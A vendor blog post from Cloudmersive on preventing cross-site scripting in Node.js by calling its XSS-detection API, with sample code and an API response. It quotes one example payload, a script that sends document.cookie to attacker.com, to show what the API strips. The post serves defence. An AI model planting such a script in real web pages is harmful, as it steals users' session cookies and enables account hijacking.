How to Prevent Cross-Site Scripting XSS in Nodejs

Cloudmersive
2 min readMay 16, 2024

--

Poorly sanitized text inputs can leave our Nodejs web applications vulnerable to Cross-Site Scripting (XSS) attacks.

Attackers can write XSS scripts to hijack users’ sessions, log user keystrokes, and even steal users’ login credentials.

The key to preventing XSS attacks is text input sanitization, and there are a few ways we can accomplish that. In this case, we’ll call a free API that detects XSS attacks and normalizes (or simply removes) the input.

This XSS detection API will significantly reduce the amount of coding we have to do on our own, and it’ll return information about XSS attacks in a neatly organized response object.

Let’s look at a generic (inert) XSS example. By submitting a string like the below example in the comment section of a weakly secured website, an attacker could possibly steal session cookies and use those to hijack another users’ session:

<script>
document.location = 'http://attacker.com/steal-cookie?cookie=' + document.cookie;
</script>

If we call an API to check that input for XSS threats first, however, we’ll get the following API response:

{
"Successful": true,
"ContainedXss": true,
"OriginalInput": "<script>\ndocument.location = 'http://attacker.com/steal-cookie?cookie=' + document.cookie;\n</script>",
"NormalizedResult": ""
}

In this case, the “NormalizedResult” returns an empty string — the XSS threat has been removed outright. The “ContainedXss” boolean can be used to easily mitigate the attack.

To call this API, we can use ready-to-run code examples below. We can begin by running the following NPM command to install the client SDK:

npm install cloudmersive-security-api-client --save

Alternatively, we can add this snippet to our package.json:

  "dependencies": {
"cloudmersive-security-api-client": "^1.2.0"
}

We can now use the below code examples to call the function. To authorize our API calls, we’ll need to grab a free Cloudmersive API key (this allows a limit of 800 API calls per month with no commitments) and use that to replace the ‘YOUR API KEY’ string:

var CloudmersiveSecurityApiClient = require('cloudmersive-security-api-client');
var defaultClient = CloudmersiveSecurityApiClient.ApiClient.instance;

// Configure API key authorization: Apikey
var Apikey = defaultClient.authentications['Apikey'];
Apikey.apiKey = 'YOUR API KEY';



var apiInstance = new CloudmersiveSecurityApiClient.ContentThreatDetectionApi();

var value = "value_example"; // String | User-facing text input.


var callback = function(error, data, response) {
if (error) {
console.error(error);
} else {
console.log('API called successfully. Returned data: ' + data);
}
};
apiInstance.contentThreatDetectionProtectXss(value, callback);

That’s all there is to it! Now we can detect and normalize XSS inputs with a free service in Nodejs.

--

--

Cloudmersive

There’s an API for that. Cloudmersive is a leader in Highly Scalable Cloud APIs.